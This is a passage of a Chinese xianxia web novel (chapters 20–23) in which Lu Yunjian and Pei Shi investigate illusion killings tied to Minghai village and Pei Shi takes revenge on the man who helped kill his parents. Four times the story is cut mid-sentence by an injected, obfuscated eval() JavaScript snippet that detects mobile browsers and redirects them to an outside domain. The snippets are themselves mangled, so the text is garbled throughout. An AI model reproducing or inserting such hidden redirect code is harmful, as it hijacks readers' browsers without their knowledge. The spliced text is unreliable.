;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047606|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— 陆云笺装废物装了这么些天,终于露出马脚了么? 然而在那惊天动地的一剑后,陆云笺的气势荡然无存,拽起裴世拔腿就跑。 裴世有些黯然地垂了眸,再一次感到自己的可笑,嘴上却丝毫没带上这些情绪,只是状似平静地嘲讽:“刚才不是挺有气势的么?现在怎么不行了?” 陆云笺登时怒上心头,简直想扇死他:“我不会啊大哥!”她脚下生风,片刻不敢停歇,那些鬼魅似乎也想要拔腿追上来似的,嘶吼声越来越近。 她忽然听见裴世轻飘飘地说了一句:“跑不掉了。别管我了,你还能活。” 陆云笺也不管什么恩不恩人大不大佬了,没半点客气地咬牙道:“闭嘴!” 裴世沉默片刻,像是抓着了一根救命的浮木,忽然没头没脑、不合时宜地问:“陆云笺,你不想我死吗?” 这话问出口,他自己都觉得可笑。其中卑微的奢望,一时心乱之下,竟无法察觉。 却听陆云笺怒道:“废话,我要是想让你死,现在又干吗拉着你跑?!” 陆云笺听到上方传来一声轻笑。 这一句,无论真心或是假意,他都想相信。 “归云。” 刹那间罡风四起,裴世手中的归云长剑金光流转,只一剑,第一批涌上来的鬼魅便尽数魂飞魄散。紧接着又有几批鬼魅涌上,裴世抬手落下一道结界,那些鬼魅宛如被高墙阻挡,簇拥在一处,龇牙咧嘴,撞得头破血流,却仍然无法前进。 那些鬼魅没脑子,不知前面有结界,还是一个劲地往前。待它们都集中在一处,归云金光大盛,裴世凌空一斩,鬼魅的尖啸响彻云霄,喷涌的鲜血混杂着零碎的魂魄,最后归于死寂。 干净利落,片甲不留。 这是陆云笺第一次如此近距离地仔仔细细看裴世用他的佩剑,禁不住目瞪口呆。 裴世这厮,又蒙人。 前一刻仿佛重伤动弹不得,转头就大片大片地秒杀鬼怪。而自己像个傻子一样,居然不自量力地想要带着大佬逃命。 陆云笺尴尬得想一头撞死,随即又感叹,还好刚才跑的时候没听他鬼扯丢下他,否则魂飞魄散的没准还有自己。 伴随着那些鬼怪一起消失的,还有这诡异的幻境。和幻境出现时的突如其来不同,这幻境消失得缓慢而优雅,如同袅袅烟雾,慢慢消散。 一出幻境,裴世只适应了片刻黑暗,便一脚踹开郝庆的房门,看见他死尸一般安静地躺在床上,没有丝毫犹豫,迅速开了个法阵,一脚踏入了郝庆所在的幻境。 陆云笺:“??” 裴世进去不过片刻,郝庆便猛地坐起身,嘴里喊着含糊不清的字句,滚下床,扯住了陆云笺的衣摆。 陆云笺下意识倒退几步,郝庆死死拽着她,半点不松手,陆云笺终于听清了他喊的内容:“仙君……仙君救我!他要杀我!他来寻仇了!救命!救命!!” 他的声音凄厉至极,陆云笺一度怀疑他被鬼魅附了身。借着月光,她看见他身上布满了大大小小的坑洞,似是兽类啃食留下的痕迹,血流如注,极其可怖。 陆云笺还没缓过神来,裴世忽然出现,一脚踹上:“滚开!”郝庆被踹得滚到床边,不动了。 陆云笺听裴世的声音有几分嘶哑,知他方才强行进入郝庆所处幻境,伤又加重了,忙扶他到一旁坐下。待他气息平复,陆云笺才小心翼翼地开口:“他……” “痛晕过去了而已。”裴世的声音透着冷意,“他同我们说的,没几句可信。” 陆云笺道:“你看见了那个要杀他的人?” “那人斗篷穿得严严实实,看不清面目,但幻境中景象,的确如郝庆所说。”裴世道,“是他脖子上那个吊坠。我方才想起来……那是鬼魈的指甲。” 20. 旧时怨 陆云笺脑中又不由自主地浮现出他那句话,以及他捏爆鬼魈的情状。到底有怎样的深仇大恨,交过多少次手,才能连鬼魈的指甲都记得这么清楚? 裴世道:“鬼魈的指甲极为锋利,可破除寻常幻境。脱落下来的鬼魈指甲,施以特定法咒,可以破除噩梦。幻境与噩梦被鬼魈的指甲破除后,会转移到附近的人身上。” 他说着,又难得有耐心地补充:“就好比茶盏掉在地上碎了,碎片弹到附近的人身上,这些人,就会代替原本那个人做噩梦,或者进入幻境。 “通常幻境生成时,会与现实世界有所过渡,就像缓慢升起的烟雾,除非是自发进入已经存在的幻境中。我们并非其中任何一者,进入这个幻境太过突然。而且我们进入的虽不是同一个幻境,但两个幻境却一模一样。 “因此,可能是郝庆脖子上的吊坠,也就是鬼魈的指甲,破除了他所处的幻境,而我们,成了替代品,替他遭遇了幻境。” 陆云笺道:“那刚才郝庆都被咬成那个样子了,为什么鬼魈的指甲没用?” “不是鬼魈的指甲没用,是他自己没用。”裴世道,“他被黑龙咬得鬼哭狼嚎,哪还有心思去念什么咒语。” 陆云笺不合时宜地觉得,裴世说话忽然间有温度了许多。 裴世接着道:“假设我们进入幻境是由于郝庆利用鬼魈指甲破除了幻境,那么有黑龙的这个幻境,可能是在第一个幻境破除后,他所进入的第二个幻境。所以这个废物应当还没搞清楚状况,被咬了个措手不及。” 陆云笺道:“那这两个幻境,会不会是同一人所设?” 裴世道:“这两个幻境并无蜡烛之类的其余媒介,应当都是由灵力生成,生成幻境极耗灵力,应当不是同一人所设,但也不是全无可能。” “可是郝庆从未提到过第一个幻境……”陆云笺蹙眉,“等等,如果附近的人都会进入幻境,那与我们待在一起的阿宋呢?” 陆云笺慌忙冲出门,寻了一阵,终于在院子角落的草丛里发现了阿宋。他面色苍白,双目紧闭,嘴角挂着血,额上布着细密汗珠,显然是昏厥过去了。 如此折腾半夜,二人都全无睡意,干脆守着郝庆和阿宋,以免再出意外。 郝庆睡了将近一整天,直到第二日傍晚才悠悠转醒。 他浑身上下都是郎中包扎的绷带,有些伤口还在往外渗着血,染得处处鲜艳的红。他猛地坐起身,一把抓住了坐在他床边的裴世:“仙君,仙君你看到了吗,我……” 裴世调理好自己的伤,说话又恢复了毫无温度的状态:“郝员外受着伤呢,还是躺着吧。”说着便按着郝庆躺下,手上用了几分力,碰到他的伤口,疼得他豆大的汗珠滚落下来,却不敢吱声。 陆云笺此时正在另一间屋内看着阿宋,裴世便再无半点顾忌,轻声细语,却让人不寒而栗:“是这样,郝员外,你做的这个梦呢,不是梦,是为你量身打造的幻境。” 郝庆仿佛被定住了身,躯干四肢皆动弹不得,只有眼珠定定望着他。 裴世温声道:“那条黑龙,那些鳞片,与你有什么关系?” 郝庆汗如雨下,疯狂摇头:“我不知道,我真的不知道——” “不说是么?没关系,这也不重要。” 裴世伸手,一把拽下郝庆脖子上挂着的吊坠,在手中细细把玩:“这个吊坠么,是鬼怪身上的东西,本来不该为人所用。我再问你一遍,这吊坠,是你用什么条件,向那个道人换来的?” 郝庆惊恐万状地瞪大眼睛,眼泪一颗一颗滚落,却没有出声。 裴世冷笑道:“你的腌臜事何必如此守口如瓶。你不说,我有千百种方法可以知道,只是不知届时还能不能保住你的性命。趁着我嫌麻烦不想自己动手,你还是老实交代了罢。” 郝庆教他这么一诳,不敢再瞒:“我我我刚出溟海村的时候做噩梦,四处求、求道人为我破除噩梦,他他他送了这么个东西给我,说不要我的钱,只要我为他做一件事。 “他问我有没有见过一个十二三岁,长得很清秀的孩子,还给我画了幅像,我在一个偏僻的小村子里见过,对那个、那个孩子印象很深刻,就给他指了路。 “他让我在那个村子周围用石头给他在地上画几个图案,画几个图案就可以,我、我也没多问,就照他说的做了。 “那天晚上我想着想着有点害怕,就去那个村子里看了一下,隔老远就听见里面有人尖叫,再走近点一看,看到一个白衣仙人,会、会法术的,村子里面,到、到处都是血……” “怕是还不够详尽吧。”裴世冷笑,“你画了那些图案,就没别的了?” 郝庆愕然地瞪着他。 “你晚上去那儿,恐怕不是简单地看一看,而是照那道人的吩咐,在村子周围放了一圈火,是不是啊?” 郝庆不知他为何会知道这些东西,浑身抖得厉害:“我、我不知道——他只让我在一个图案上面点燃一把火就好了,我真的、真的不知道会烧得那么大,我真的不知道!” “仙君……仙君,我真的不是有意的,是那个、那个道人威胁我……”他哀求着,“那个黑龙,就是因为我跟着他们捡了些鳞片,就来报复我……我真的不是有意的……” 裴世半个字都不想信他,却没有暴怒,没有咒骂,反而声音轻柔,像是讲睡前故事一般:“你的一句不是有意的,你随便点的一把火,就害死了整个村子的人,知道吗?他们的性命,当真好不值钱。那村子里还有一户人家曾经在你人不人鬼不鬼的时候帮过你一把吧?他们自己都没饭吃,倒是把吃食让给了你这种东西。” “你说巧不巧?”他忽然笑了,“那鬼魈扮做的道人,要找的那个人,就是我。帮你的人,是我的爹和娘。” 郝庆眼里仅剩的光亮刹那间灭得干干净净。 裴世继续道:“鬼魈暴虐,对你倒是有耐心得很,还哄着你为它做事。我曾以为只是它恰好找到了我,是它布下阵法,让我们无处逃脱。可没想到还有你,郝庆。还有你与它里应外合。我今日才知道。指路放火为它画法阵,末了干干脆脆地走人,一身干净。多好啊。” “没必要再听你胡扯了。”他慢悠悠起身,忽然转了话锋,“黑龙咬的伤口疼不疼?” 郝庆额角青筋凸起、眼中血丝浮现,咬紧的牙间涌出血沫,恐惧至极,却偏偏动弹不得,甚至惊惧得不能说出完整字句。 “它为你选的死法,甚合我意。” 郝庆来不及开口,裴世指尖轻轻一点,他便再也发不出任何声音,也再动弹不得。 裴世轻笑道:“不过有些可惜,不能亲手杀你。”他轻轻一捻指尖,手中吊坠便霎时化作灰烬。 他掩上门,对守在门口的下人道:“你们老爷伤得重,还没有醒来。你们不要去打扰他,今晚我会照常守在门外,将那妖物拿下。”待下人都走远了,他用灵力封住郝庆的房门,以防万一,又贴心地设了道隔音结界。 这场噩梦,将是不可逃脱的死局。 阿宋的确命硬,一个毫无灵力的普通人,处在一个百鬼横行的世界中,既没被吓死,也没被鬼怪弄死。他此时正发着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“真要命。”陆云笺叹了口气,烦躁地碾着地上的石子儿,“现在连犯罪嫌疑人都锁定不了。”她又忽然想起什么,道,“我们还是守在他房门口,那要是鬼魈的指甲又把幻境分割了,那该怎么办?” 裴世道:“鬼魈的指甲没用了。” “啊?”陆云笺惊讶地转头,“为什么?” 裴世随口胡诌道:“他昨晚没用成,失效了。” 陆云笺一直想到半夜,也没想明白那枚百战不殆的鬼魈指甲是怎么随随便便失效的,但见裴世一副不想多交流的模样,还是没问出口。 和大佬共事,实在很难搞。 不说话吧,显得自己太废柴,自己都觉得拖了后腿,不好意思。说太多吧,自己分析半天的东西大佬可能一眼就看出来了,这样一来,又显得愚蠢多事。难的就是这么一个“度”。怎么显得不那么废柴,又不多事呢? 二人已到了郝庆房外,裴世提了把椅子,已经坐下闭目养神了。 陆云笺叹了口气,罢了,什么度不度的,顺其自然吧。 她也学着裴世的样子闭目养神,没闭多久,一个不留神便睡了过去。再醒来时,天已差不多亮了,裴世早已醒来,正抬头看天,没有叫她的意思。 陆云笺一激灵,彻底醒了,连滚带爬地起来:“不好意思啊,这……情况怎么样?” “没动静。”裴世侧过头,没有丝毫情绪,“看看。”他说着便起身,本想自己先去开门,陆云笺却已经上前,一把把门推开了。 帷帐落下,遮严了床榻,只影影绰绰透出帐中人影。若是熟睡,也该有平稳的呼吸声。而房内死寂,连二人的脚步声都让人觉得聒噪至极。 陆云笺心跳不自觉地加快,猛地一掀帐子,床上血肉模糊一片,她拼命忍住,才没尖叫出声,冷汗已经湿透衣衫。 她下意识回头看向裴世,后者神色极为平静冷淡,这冷淡纯粹得很,没有半点惊异恐惧或是其他情感,无论是无意流露,还是刻意伪装。 他说,鬼魈的指甲没用了。他早就告诉了她郝庆的结局。 21. 溟海案 陆云笺一时间感到有些呼吸困难,以至于连客房处传来的一声恐惧凄厉的尖叫都没有听见。匆匆赶往客房的路上,看到阿宋披着衣服从房中走出,脸色苍白,周身寒气,眼底两片乌青,带着疑惑的表情,也正往客房处走。 是郝三儿的住所。 郝三儿也是鲜血淋漓的一片,但被咬得不如郝庆惨,趴在他的房间门口,才断气不久。尖叫的那名下人跌坐在地,颤颤巍巍哭道:“我就是路过……恰好看到……不是我……和我没有关系……” 裴世并不在乎她的辩解,看着郝三儿的尸体,冷笑道:“果真是寻仇。” 阿宋抓着衣服站在无人注意的不远处,他既不惊讶,也不恐惧,双眸黑而空洞,也像死了一般,了无生气。 保护对象惨死,自己的搭档可能是某种程度上的帮凶,陆云笺半天缓不过劲儿来,却又不能透露出半点惊惧怀疑,只能假装淡定地回到自己房里,一边发着抖,一边掏出通讯符,把烂摊子丢给陆明周。 “哥,郝庆死了。”陆云笺开门见山,“他还有个溟海村的老乡,叫郝三儿,也死了,他们死法一样,都是被啃的。” “又是溟海村?”陆明周的声音从符纸中传来,“季衡、季瑶那边传来消息,情况类似,验明身份的死者都与溟海村有关。如此看来,这并非简单的邪祟作乱。” “哥,那现在怎么办?” “你那边可有可疑的人?验过没有?” “有。”陆云笺压低声音,“有个仆从,也是溟海村的人,前几晚守着郝庆的仆从都死了,唯独他没有。但是裴世验过,说他没有灵力。” 陆明周那头沉默了一会儿,才缓缓道:“把郝庆府上所有人都带回云间世,再一一仔细查验。” 一行人雇了马车前往云间世,陆云笺和裴世的马车行在最前头。一路上陆云笺不知该怎么看裴世,遂闭着眼睛装睡,脑海里却无法控制地一遍遍回放郝庆与郝三儿的惨状。 “陆云笺。” “什么?”陆云笺心里乱得很,下意识应了一声,应完才意识到,自己不是在装睡么?要命,一时间想一巴掌拍死自己。 裴世早已瞧出来她的心思,没有直接揭穿,只不带情绪地问了句:“怕么?” 陆云笺心里一咯噔,坐直了身子:“怕什么?” 裴世道:“郝庆与郝三儿死状凄惨可怖,陆小姐怕么?” 陆云笺没想到他问的是这么个问题,思考片刻,道:“自然是怕的,只是有更重要的事要做,所以这点怕也不算什么。” 裴世微微一弯嘴角,道:“陆小姐应该已经知道,是我毁了鬼魈的指甲,把郝庆往死路上推了一把。那么,和这么个表里不一、暗捅刀子的人共事,陆小姐又怕吗?” 陆云笺干咳一声:“你这么做,想必有你的缘由,与我无关。” 裴世不置可否,径自道:“郝庆与我,确有旧仇。他与鬼魈勾结,烧我家园,杀我父母。”他语气平淡,掩住了神色间的波澜,“陆小姐曾告诉我,这天下公道,是要靠自己去讨的。我深信不疑,也依言照做了。” 陆云笺不知该说什么。 裴世停顿片刻,终于问道:“陆小姐觉得如何?”他抬眸望她,这一次,的的确确是在等她的回答。 陆云笺斟酌片刻,道:“我只知是非对错。若是郝庆当真助妖邪肆意害人,那他就是罪有应得。” 裴世忽然笑了一下。 陆云笺当真失忆得很彻底……她从前,从不会论“是非对错”四个字,如今这四字从她嘴里不容置喙地讲出来,倒让人觉得十分陌生,就像他从前从来不会问她“怕不怕”一样。 或许是他笑得有些忘情了,笑着笑着忽然剧烈咳嗽起来,嘴角甚至渗出了血。 陆云笺万万没想到是这么个发展,手忙脚乱不知如何是好,着急忙慌地把身上所有不管内服外敷的药全掏出来,往裴世面前塞过去:“裴公子你别激动啊,冷静冷静啊……” 她的确没想到强行进入幻境的代价如此之大。 裴世却没回话也没用药,直到马车停住,他才直起身,擦了嘴角的血,缓缓起身,笑道:“多谢了,陆小姐。” 谢什么? 陆云笺莫名其妙地看他,他已下了马车,没等这一行人,径自走在前头,一路上没再与旁人说话,看上去倒是清冷又傲然。 走完长长数千级石阶,便看见陆明周在山门前等候。几日不见,他还是一贯的疲惫,且似乎消瘦了些,但见到众人还是温文和煦地一笑。 云间世已安排好了众人的住所,众弟子似乎从没见过这么多普通老百姓进云间世,神情多有不耐,看得陆云笺浑身不舒服。 陆明周低声对陆云笺道:“你所言黑色鳞片,季衡与季瑶在调查途中也发现了这一点,他们也怀疑是黑龙作祟,正与贺江年一同追踪。” “溟海村那边呢?不是说那边有很多村民遇害吗?” 陆明周眉头皱得更紧了:“是,但那些村民遇害已久,死法不一,因此并未从中得到有效线索。” 陆云笺睁大眼睛:“遇害已久?” 陆明周道:“……是。此事一出,当地仙门恐云间世责罚,俱是隐瞒不报,溟海村与云间世相隔甚远,消息略微闭塞,季衡与季瑶赶到时,那些村民已遇害数月,地方仙门封住了溟海村,这才没让尸体都化作白骨。此外,溟海村附近还存在大量百姓失魂现象。” 陆云笺一口气吊了起来,伴随着一阵头疼:“失魂?怎么又扯上失魂了?” “三种现象并发,失魂,直接死亡,以及失魂后再死亡。死亡的百姓中死法不一,最诡异的死法便是被兽类啃食致死,但这类人群并不算多。” 陆云笺晃了晃脑袋,扶额道:“等等,哥,你让我缓缓……也就是说,黑龙幻境与失魂,都由溟海村而来,如今已经扩散到云间世跟前了?” 陆明周叹了口气:“……是。” 接下来几天,郝庆府上人员的查验都由陆明周一手主持,由专门人士进行,陆云笺终于能不提心吊胆地好好补觉,但对于这复杂的案子,却是没有半点头绪。 不过,闲了几天,陆云笺又有事可做了。因为,云间世来了位贵客。 陆云笺原本在房中百无聊赖地练习画符,一听这个消息,立刻拍桌起身:“什么?季小公子来了?快请快请!” 她原以为季繁洲实在拉不下面子,便也不想追着他要他履行承诺了,谁知季繁洲却忽然不请自来,想来心理准备已经很是充分。到了山门口,果真见季繁洲带着两名镜阳宗的弟子立在门外,其中一名弟子手里捧着一方叠起来的锦缎,三人脸都黑得赛陈年锅底。 陆云笺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047608|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑眯眯地晃到季繁洲面前,道:“季小公子大驾光临,有失远迎啊。” 季繁洲一怔,随即蹙着眉对云间世守门弟子道:“你们家小姐来了,我说了是来找她的,现在能进去了吧?” 陆云笺心下了然。 云间世与镜阳宗素来不和,这小公子虽是镜阳宗宗主的表亲,但眼下也不算是什么厉害角色,这次来本就处在下风,让云间世逮着了就是好一顿羞辱。 陆云笺忙收了挑衅,道:“季小公子来云间世参观当然欢迎啦,我带你们进去啊。”有她带路,云间世自然无人敢拦,一路畅通无阻。 季繁洲黑着脸走了一阵,路过弟子们的演武场,忽然道:“等等。” 陆云笺回过头,看了那演武场一眼:“嗯?你想在这儿喊吗?也可以的,不过……”她贴心地补充,“不过这儿人有点太多了,而且比较空旷,喊起来没准还有回音。但你要是愿意,也可以的。” 季繁洲看起来像是快要气晕了,三两步踏进演武场,道:“要喊可以,但你得让我心服口服。” 陆云笺:“嗯?你没有心服口服吗?” 季繁洲道:“你们是先抓到了鬼魂,但没准是侥幸,我自然不服。除非你跟我在此处比试一场,你光明正大地赢了我,我就服。” 陆云笺一怔。他忽然要与她比试,难道是发现了什么端倪? 季繁洲见她犹豫,道:“你两年前不是年年都是修士榜第一吗?怎么,不敢比?” 陆云笺道:“有什么不敢的?我就是好奇,季小公子为什么非要找两年前的榜首比武,不找最近几年的?” 季繁洲道:“我不和他比,就要和你比,你敢不敢?” “这话应当由我来说吧。” 身后忽然响起一人的声音,陆云笺回头去看,见裴世抱着手走近,悠悠说道:“不和我比,是季小公子不敢吗?” 没想到近两年的榜首是他。 陆云笺也粗略听闻过这修士榜,修真界每年都会综合当年镇邪除祟、创造法术、公众影响力等等各方面的因素来评定修士的功绩,列出名次,张榜公示。 陆云笺只知道有些修士不愿参与排名,因此不在评定之列,如季衡、季瑶等,但从没打听过各年榜首。 季繁洲瞪裴世:“这是我和她的赌约,当然只能和她比。” 裴世道:“那赌约,可也有我一份的。” 季繁洲道:“立约的是她,跟你有什么关系?” 眼看两人之间火药味越来越重,像是马上就要打起来了,陆云笺忙道:“行行行,那就我。但是我吧……最近受了点伤……” 季繁洲狐疑地打量着她:“受伤?” 陆云笺马上手断腿瘸。 季繁洲收回目光,道:“大不了让你三招,反正是非比不可。”见如何都推脱不下,陆云笺心道“救命”,还欲再编几个理由,忽听裴世道:“那就比。” 陆云笺瞪大了眼睛回头望他。 裴世没看她,只对季繁洲道:“你输了就能心服口服?” 季繁洲没说话。倒不是不会心服口服,而是不想还没开始就说自己输。 裴世又道:“你输了就喊?” 季繁洲简直不能忍,道:“是是是行了吧?比不比?” 裴世微微一笑,道:“好啊,那就比。” 22. 无心人 陆云笺简直难以置信。 就算裴世真跟她有仇,也不能这么整她吧?? 季繁洲已经拿了一把弟子用的普通长剑,等在演武台上:“既然要比,那就快些开始吧。” 四周聚起云间世的弟子,都是前来观战的。无论此一战比不比,旁人都要生疑,陆云笺两条腿都要打抖了,缓缓从一旁拿过一把长剑,险些连剑都没拿稳。 她回头去望裴世,头还没完全转过去,忽觉有人在背上推了一把,整个人就飞了出去。在旁人看来,却是她忽地飞身而上,结结实实一剑劈了出去,身法快如闪电,出剑迅猛,教人避之不及。 季繁洲猛地睁大眼睛,举剑格挡。他的剑也快,要不然陆云笺的剑就该劈上他天灵盖了。 季繁洲倒退几步,不可置信地看向自己的手,他握剑的手分明好好的,却止不住地颤抖,莫说让她三招了,便是挡了这么一剑,他都险些招架不住。 他来不及喘息多久,陆云笺已再次持剑飞身而上,剑势如虹,快如疾风,虽不含杀意,却剑剑凌厉,无可抵挡。 再一剑,便听“叮当”一声,却是季繁洲手中的剑断成几截,掉落在地。而陆云笺的剑,已经指向他喉间。 三招之内,胜负已分。 四周围观的云间世弟子一片叫好,季繁洲还愣在原地,看着地上的断剑,不知在想什么。 裴世道:“季小公子,你输了。” 陆云笺比季繁洲还难以置信。裴世走上前来,仍然没有看她,只对季繁洲道:“履行承诺吧。” 季繁洲脸色煞白,沉默许久,对捧着锦缎的那名弟子道:“盛上来吧。” 陆云笺生怕他回去向镜阳宗宗主告状,若是如此,云间世和镜阳宗的梁子可就结得更大了,忙道:“季小公子,还是算了吧……” 季繁洲郁闷道:“你怕什么?我又不会回去告状。我不是那号人。”他说着抖开那锦缎,果真是面旗帜,按照二人的赌约,上面大书‘天神下凡惩恶扬善’八字,工工整整,清清楚楚。 季繁洲豁出去了,他痛苦地闭上眼睛,面对着云间世一众弟子,一脸沉痛,高声喊道:“云间世陆仙君心胸宽广、本领非凡,我镜阳宗季繁洲自愧不如、甘拜下风。” 演武场果真够大够空旷,又四面环峰,回声悠长而清晰,足足回了七八遍才渐渐轻下去。 季繁洲把锦缎往陆云笺手上一塞,转身欲走,到底又停下,愤愤道:“这次是你赢了我,等我成为天下第一修士,定叫你输得心服口服!”说着便带着两名弟子匆匆奔下山,估计好一段时日都不会再想见人了。 陆云笺捧着锦缎呆在原地,本还想留季繁洲吃顿饭,安慰他一下,但他跟头发狂的牛似的拦不住,便也没办法。 四周云间世弟子还在伸长了脖子看,陆云笺道:“大家都散了吧,该吃饭的吃饭,该练武的练武吧。”说着拉了裴世撤出演武场。 陆云笺心有不安,道:“会不会有点过了?季繁洲那样的人,应该很在乎脸面吧。” 裴世却不以为意,道:“他敢赌,却不敢履行赌约吗?那算什么?” 陆云笺道:“好吧。”说着转头对他一笑,“裴世,刚刚真是谢谢你啊,要不然……” 裴世却道:“不是我。” “啊?” “我的确动了手脚,但那都是你自己的身手,与我无关。”他转头望着陆云笺,“从前的你,三招之内,也一定能赢他。” 陆云笺头皮一阵发麻:“我?” 裴世定定望着她:“对,你。” 陆云笺后退几步,忽地一阵没来由的心慌。 不是我。 心底有个声音说—— 怎么会是我呢? 这个时空的陆云笺,云间世尊主之女,连续数年修士榜的榜首,身份尊贵,法力高强,法器是修真界的上上品,身手绝佳,三招之内就能打败第二大门派的小公子,在天下第一大门派中呼风唤雨、说一不二。 怎么会是她呢? 她只不过是个不会武功不会法术学习成绩也不那么好只是偶尔喜欢做些糕点喜欢坐在阳光下午睡喜欢没事的时候散散步身边有亲人有朋友就觉得一生足够幸福的…… 裴世扶了她一把,道:“怎么了?” 她反应不过来,心中忽然升起一股愧疚之感。 修真界的陆云笺,应该是骄傲肆意、光芒万丈的吧?被她这么个废物占据了身体,太不公平了。可是原本的陆云笺去哪儿了呢?是不是……应该把一切都还给她了? 陆云笺反手抓住裴世:“裴世,要怎么才能恢复记忆?” 裴世似是有些意外,微微一怔,旋即笑道:“你想恢复记忆?”他眯起眼,“可是,我认为这个问题,你应该先去问你的父亲与兄长。” 陆云笺就真的去找陆明周了。 陆明周被气势汹汹冲进门的陆云笺吓得又险些掉了笔,待看清来人,有些意外地道:“云笺,你怎么来了?有什么事吗?” 陆云笺不说废话,直奔主题:“哥,怎么恢复记忆?” 陆明周一怔:“你为何突然……” 陆云笺道:“我觉得没有以前的记忆实在很不方便。” 陆明周放了笔,道:“我之前的确与父亲说过此事,但父亲说,你失忆的缘由不明,眼下并未找到恢复你记忆的方法。” 陆云笺却明了其中缘由。但她终究没有勇气直言事实,只旁敲侧击道:“会不会……有什么妖魔鬼怪或者……有什么人的魂魄,占据了我的身体,导致我失去记忆?” 陆明周道:“怎么会?且不说人死后,魂魄一定会前往转生,退一万步讲,就算有东西想附你的身,它也做不到。” 陆云笺道:“可是那时候我受重伤了啊……” 陆明周斩钉截铁道:“即便如此,云间世内,也不可能有东西做得到。” 陆云笺第一次听陆明周以如此坚决的语气对一件事下定论,她招架不住,再一次迷惘了。 陆明周没注意到她的神情,又或者他也无心再去留意其他,只道:“云笺,是累了吗?回去好好休息吧。再过几日,等查清郝庆府上人士之后,你与裴世,就要再次下山了。” 陆云笺就没再问了。她忽然有些明白了,是不会有答案的。 过了几日,云间世终于彻底查清了郝庆府上人士的底细,大有所获。因为至少查明的这几十人都没什么问题,算是排除了嫌疑。 云间世维持着一贯的乐善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047609|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好施形象,贴心地给每人分发了一些衣物和钱两,让他们再寻别的活计。 陆云笺作为一个参与此案而游手好闲的人,主动揽了这差事,和其他几个弟子一起承担了送他们下山并和他们尬聊一路的任务。 陆云笺还是对阿宋比较感兴趣,不过感兴趣的重点和之前不大一样。 阿宋作为重点怀疑对象,自然也就是重点查验对象。 溟海村数年前起了一场大火,许多事物早已没了痕迹,如今溟海村人几乎尽数死亡,原也不便查验,云间世费了好一番工夫才查了个明白。 阿宋算是这一批人当中的奇人,云间世查他身世,是溟海村的一个孤儿,无父无母无兄弟无姐妹连朋友都没有;验他血缘,祖祖辈辈都是普通老百姓,从没人修过道;测他灵力,乃是地地道道的凡人,全无灵力。 连他有没有和什么东西暗中做了什么交易、缔结过什么契约都查过了,一无所获。 唯一测出来的是……此人根骨奇特、天赋非凡,非常适合修道。 当时还有位长老和善地表示想收他为徒,此举震惊了一众弟子。照云间世的规矩,向来是弟子们向长老递交申请,请求拜入师门,再由长老从递了申请的弟子中挑选未来的徒弟,极少有哪位长老主动提出想要收谁为徒的。 结果阿宋毫不犹豫一口拒绝,更是惊掉一众人的下巴。 开玩笑,第一次见云间世长老发出邀请被拒的,更何况……一众弟子都鄙夷地看他,更何况他从前是个孤儿,以后也不过是做下人。 陆云笺也对这点比较好奇,下山路上,她特意和阿宋一起走在队伍最后,奈何阿宋实在沉默寡言,陆云笺问一句,他便答一句,每句都能把天聊死。 走了一半长阶,饶是陆云笺话再多,也基本无话可聊了,她只好问:“今后有什么打算么?” 阿宋还是垂着眸,语调平淡:“不过就是再去别家找些活计,能干什么就干什么,能活下去就好。” 陆云笺笑道:“那云间世好啊,包吃包住,还能修道,虽然学费可能会比较贵,但是长老愿意主动收你为徒的话,应该还是比较好解决的。所以呢,为什么不来?” 阿宋终于抬起了头,看向她。 骤然对视,陆云笺终于看清了他的面貌与神情。之前虽也见过,但那时她的注意力基本都在郝庆身上,因此看得并不仔细,此时再看,却发现阿宋虽长相清秀,但肤色有些过白了,几乎是苍白。 他全然没有半点少年人的活泼,眸中也时时是一潭死水,毫无生气。怎么会有人十八岁就这么……这么…… 死气沉沉? 陆云笺自觉这个念头有些冒犯了,尴尬一笑掩盖过去,阿宋却只看了她一眼,便又垂下头,淡声道:“高攀不起。” 这一声极轻,却砸得陆云笺再说不出任何一句话。因着这四个字,气氛陡然僵下去,接下来的路程静默无言,谁都没再说话。 走完长阶,众人纷纷与他们道谢告别,阿宋停在阶下,等前面众人都走远了,才望着巍峨青山、缭绕白雾,缓缓开口:“我也曾想尽千方百计只为进云间世,如今也算有幸进过一回。” 最后他转过身,端端正正朝陆云笺行了个礼:“陆小姐,后会有期。” 23. 白梅阵 几日过去,贺江年也恰好处理完了云间世附近几起失魂加离奇死亡的案子,赶回了云间世。季衡与季瑶也正往云间世这边赶来,由于几人或多或少都参与了这起案子,因此决定集体行动,共查溟海村一案。 